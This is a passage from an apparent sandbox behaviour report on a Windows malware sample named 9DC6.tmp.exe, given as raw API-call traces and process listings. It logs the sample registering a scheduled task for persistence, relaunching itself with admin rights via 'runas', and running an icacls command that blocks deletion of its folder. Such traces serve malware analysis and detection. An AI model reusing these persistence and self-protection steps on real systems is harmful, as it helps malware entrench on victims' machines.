(Heap=0x260000, Flags=0x0, Ptr=0x34b4d8, Size=0x7c) returned 0x32fa70 [0041.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0041.815] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x29) returned 0x7b5ff68 [0041.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x7b5ff68, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 41 [0041.815] GetLastError () returned 0x0 [0041.815] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x32fa70) returned 0x7c [0041.815] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x32fa70, Size=0x80) returned 0x330598 [0041.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0041.815] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x15) returned 0x7bab9d8 [0041.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x7bab9d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERDOMAIN=XDUWTFONO", lpUsedDefaultChar=0x0) returned 21 [0041.815] GetLastError () returned 0x0 [0041.816] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x330598) returned 0x80 [0041.816] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x330598, Size=0x84) returned 0x34fa98 [0041.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.816] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1e) returned 0x7bb31a8 [0041.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x7bb31a8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERNAME=5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 30 [0041.816] GetLastError () returned 0x0 [0041.816] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x34fa98) returned 0x84 [0041.816] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x34fa98, Size=0x88) returned 0x34fe88 [0041.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0041.816] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x2a) returned 0x7b5ffa0 [0041.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x7b5ffa0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 42 [0041.816] GetLastError () returned 0x0 [0041.816] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x34fe88) returned 0x88 [0041.816] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x34fe88, Size=0x8c) returned 0x7b421a0 [0041.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0041.816] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x12) returned 0x7bab9b8 [0041.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x7bab9b8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windir=C:\\Windows", lpUsedDefaultChar=0x0) returned 18 [0041.816] GetLastError () returned 0x0 [0041.816] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7b421a0) returned 0x8c [0041.816] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7b421a0, Size=0x90) returned 0x7b421a0 [0041.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0041.816] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x18) returned 0x7bab9f8 [0041.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x7bab9f8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_flags=3", lpUsedDefaultChar=0x0) returned 24 [0041.816] GetLastError () returned 0x0 [0041.816] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7b421a0) returned 0x90 [0041.816] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7b421a0, Size=0x94) returned 0x7b53b48 [0041.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0041.816] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x46) returned 0x7b83288 [0041.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x7b83288, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", lpUsedDefaultChar=0x0) returned 70 [0041.816] GetLastError () returned 0x0 [0041.816] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7b53b48) returned 0x94 [0041.816] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7b53b48, Size=0x98) returned 0x7b53b48 [0041.816] GetLastError () returned 0x0 [0041.816] GetTimeZoneInformation (in: lpTimeZoneInformation=0x45d3e0 | out: lpTimeZoneInformation=0x45d3e0) returned 0x1 [0041.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Standard Time", cchWideChar=-1, lpMultiByteStr=0x45bd20, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18b634 | out: lpMultiByteStr="AUS Eastern Standard Time", lpUsedDefaultChar=0x18b634) returned 26 [0041.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Daylight Time", cchWideChar=-1, lpMultiByteStr=0x45bd60, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18b634 | out: lpMultiByteStr="AUS Eastern Daylight Time", lpUsedDefaultChar=0x18b634) returned 26 [0041.818] GetLastError () returned 0x0 [0041.818] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x24) returned 0x7bb1768 [0041.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x452028, cbMultiByte=-1, lpWideCharStr=0x7bb1768, cchWideChar=18 | out: lpWideCharStr="%Y-%m-%dT%H:%M:%S") returned 18 [0041.818] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xa0) returned 0x7b85258 [0041.818] GetLastError () returned 0x0 [0041.818] ITrigger:put_StartBoundary (This=0x7120e38, StartBoundary="2019-08-24T16:32:55") returned 0x0 [0041.818] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x7b72b58 | out: hHeap=0x260000) returned 1 [0041.818] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x7b8bc20 | out: hHeap=0x260000) returned 1 [0041.818] IUnknown:Release (This=0x7120e38) returned 0x1 [0041.818] ITaskDefinition:get_Actions (in: This=0x7120b88, ppActions=0x18bc00 | out: ppActions=0x18bc00*=0x7120c00) returned 0x0 [0041.819] IActionCollection:Create (in: This=0x7120c00, Type=0, ppAction=0x18bbec | out: ppAction=0x18bbec*=0x7120ec0) returned 0x0 [0041.819] IUnknown:Release (This=0x7120c00) returned 0x1 [0041.819] IUnknown:QueryInterface (in: This=0x7120ec0, riid=0x45007c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x18bc08 | out: ppvObject=0x18bc08*=0x7120ec0) returned 0x0 [0041.819] IUnknown:Release (This=0x7120ec0) returned 0x2 [0041.819] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc) returned 0x7b72b58 [0041.819] IExecAction:put_Path (This=0x7120ec0, Path="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe") returned 0x0 [0041.819] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x7b72b58 | out: hHeap=0x260000) returned 1 [0041.819] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc) returned 0x7b72b58 [0041.819] IExecAction:put_Arguments (This=0x7120ec0, Arguments="--Task") returned 0x0 [0041.819] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x7b72b58 | out: hHeap=0x260000) returned 1 [0041.820] IUnknown:Release (This=0x7120ec0) returned 0x1 [0041.820] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc) returned 0x7b72b58 [0041.820] ITaskFolder:RegisterTaskDefinition (in: This=0x505ff98, Path="Time Trigger Task", pDefinition=0x7120b88, flags=6, UserId=0x18b6a8*(varType=0x0, wReserved1=0x7b8, wReserved2=0xbbbc, wReserved3=0x18, varVal1=0x41720b, varVal2=0x260000), password=0x18b6b8*(varType=0x0, wReserved1=0x0, wReserved2=0xc0, wReserved3=0x0, varVal1=0x5f, varVal2=0x7), LogonType=3, sddl=0x18b6cc*(varType=0x8, wReserved1=0x0, wReserved2=0x2, wReserved3=0x0, varVal1="", varVal2=0xc8), ppTask=0x18bbd4 | out: ppTask=0x18bbd4*=0x7120f30) returned 0x0 [0041.934] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x7b72b58 | out: hHeap=0x260000) returned 1 [0041.934] TaskScheduler:IUnknown:Release (This=0x505ff98) returned 0x0 [0041.934] TaskScheduler:IUnknown:Release (This=0x7120b88) returned 0x0 [0041.934] IUnknown:Release (This=0x7120f30) returned 0x0 [0041.934] CoUninitialize () [0041.936] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x7b584a0 | out: hHeap=0x260000) returned 1 [0041.936] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x7b583d8 | out: hHeap=0x260000) returned 1 [0041.936] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x7b58310 | out: hHeap=0x260000) returned 1 [0041.936] GetVersion () returned 0x1db10106 [0041.936] lstrcpyW (in: lpString1=0x18c140, lpString2="--Admin" | out: lpString1="--Admin") returned="--Admin" [0041.936] lstrcatW (in: lpString1="--Admin", lpString2=" IsNotAutoStart" | out: lpString1="--Admin IsNotAutoStart") returned="--Admin IsNotAutoStart" [0041.936] lstrcatW (in: lpString1="--Admin IsNotAutoStart", lpString2=" IsNotTask" | out: lpString1="--Admin IsNotAutoStart IsNotTask") returned="--Admin IsNotAutoStart IsNotTask" [0041.936] ShellExecuteExW (in: pExecInfo=0x18bdfc*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe", lpParameters="--Admin IsNotAutoStart IsNotTask", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nShow=5, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18bdfc*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe", lpParameters="--Admin IsNotAutoStart IsNotTask", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nShow=5, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0042.031] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x7b400a0 | out: hHeap=0x260000) returned 1 [0042.031] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x7b58248 | out: hHeap=0x260000) returned 1 [0042.031] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x3461f8 | out: hHeap=0x260000) returned 1 [0042.032] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x339978 | out: hHeap=0x260000) returned 1 [0042.032] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x30abd8 | out: hHeap=0x260000) returned 1 [0042.033] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x7b85300 | out: hHeap=0x260000) returned 1 [0042.033] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x3404a0 | out: hHeap=0x260000) returned 1 [0042.033] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x30cf58 | out: hHeap=0x260000) returned 1 [0042.034] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x30c750 | out: hHeap=0x260000) returned 1 [0042.034] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18d0e4 | out: phModule=0x18d0e4) returned 0 [0042.034] ExitProcess (uExitCode=0x0) [0042.037] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x7bb1528 | out: hHeap=0x260000) returned 1 [0042.037] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x30b778 | out: hHeap=0x260000) returned 1 [0042.044] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 2 os_tid = 0x518 Thread: id = 3 os_tid = 0x314 Thread: id = 4 os_tid = 0x15c Thread: id = 5 os_tid = 0x7e0 Thread: id = 6 os_tid = 0x62c Thread: id = 7 os_tid = 0x508 Thread: id = 22 os_tid = 0x244 Thread: id = 24 os_tid = 0x738 Thread: id = 25 os_tid = 0x618 Thread: id = 35 os_tid = 0x808 Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x15f04000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x73c" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc17" [0xc000000f], "LOCAL" [0x7] Thread: id = 8 os_tid = 0x688 Thread: id = 9 os_tid = 0x76c Thread: id = 10 os_tid = 0x758 Thread: id = 11 os_tid = 0x74c Thread: id = 12 os_tid = 0x72c Thread: id = 13 os_tid = 0x71c Thread: id = 14 os_tid = 0x718 Thread: id = 15 os_tid = 0x638 Thread: id = 16 os_tid = 0x154 Thread: id = 17 os_tid = 0x150 Thread: id = 18 os_tid = 0x128 Thread: id = 19 os_tid = 0x12c Thread: id = 20 os_tid = 0x120 Thread: id = 21 os_tid = 0x3fc Thread: id = 23 os_tid = 0x6d0 Thread: id = 121 os_tid = 0x9c4 Thread: id = 171 os_tid = 0xa20 Process: id = "3" image_name = "icacls.exe" filename = "c:\\windows\\syswow64\\icacls.exe" page_root = "0x4cd8d000" os_pid = "0xb0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x73c" cmd_line = "icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 26 os_tid = 0x7e8 Thread: id = 27 os_tid = 0x804 Process: id = "4" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x5e7f000" os_pid = "0x50c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "created_scheduled_job" parent_id = "1" os_parent_pid = "0x73c" cmd_line = "taskeng.exe {0E3013FB-5D32-4499-A940-035C87CD1A3B} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:Highest[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 28 os_tid = 0x184 Thread: id = 29 os_tid = 0x61c Thread: id = 30 os_tid = 0x578 Thread: id = 31 os_tid = 0x574 Thread: id = 32 os_tid = 0x520 Thread: id = 33 os_tid = 0x514 Thread: id = 34 os_tid = 0x510 Process: id = "5" image_name = "9dc6.tmp.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9dc6.tmp.exe" page_root = "0x4cf3d000" os_pid = "0x80c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x73c" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe\" --Admin IsNotAutoStart IsNotTask" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 36 os_tid = 0x810 [0042.124] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xac0a3110, dwHighDateTime=0x1d55a45)) [0042.124] GetCurrentThreadId () returned 0x810 [0042.124] GetCurrentProcessId () returned 0x80c [0042.124] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=16240514574) returned 1 [0042.124] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0042.124] GetProcessHeap () returned 0x4ff0000 [0042.125] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0042.125] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0042.125] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0042.125] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0042.125] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0042.125] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0042.126] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0042.126] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0042.126] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0042.126] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0042.126] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0042.126] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0042.126] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0042.126] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0042.126] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0042.126] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0042.126] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0042.126] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0042.126] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0042.127] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0042.127] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0042.127] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0042.127] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0042.127] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0042.127] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0042.127] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0042.127] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0042.127] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0042.127] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0042.127] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0042.127] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0042.127] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0042.127] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0042.127] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0042.128] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x3bc) returned 0x5001d10 [0042.128] GetCurrentThreadId () returned 0x810 [0042.128] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x18) returned 0x5000818 [0042.128] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x800) returned 0x50020d8 [0042.128] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40d87c, hStdOutput=0x65ddfdf8, hStdError=0x0)) [0042.128] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0042.128] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0042.128] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0042.128] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe\" --Admin IsNotAutoStart IsNotTask" [0042.128] GetEnvironmentStringsW () returned 0x50028e0* [0042.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0042.129] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x565) returned 0x50033b8 [0042.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x50033b8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0042.129] FreeEnvironmentStringsW (penv=0x50028e0) returned 1 [0042.129] GetLastError () returned 0x7f [0042.129] SetLastError (dwErrCode=0x7f) [0042.129] GetLastError () returned 0x7f [0042.129] SetLastError (dwErrCode=0x7f) [0042.129] GetLastError () returned 0x7f [0042.129] SetLastError (dwErrCode=0x7f) [0042.129] GetACP () returned 0x4e4 [0042.129] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x220) returned 0x5003928 [0042.129] GetLastError () returned 0x7f [0042.129] SetLastError (dwErrCode=0x7f) [0042.129] IsValidCodePage 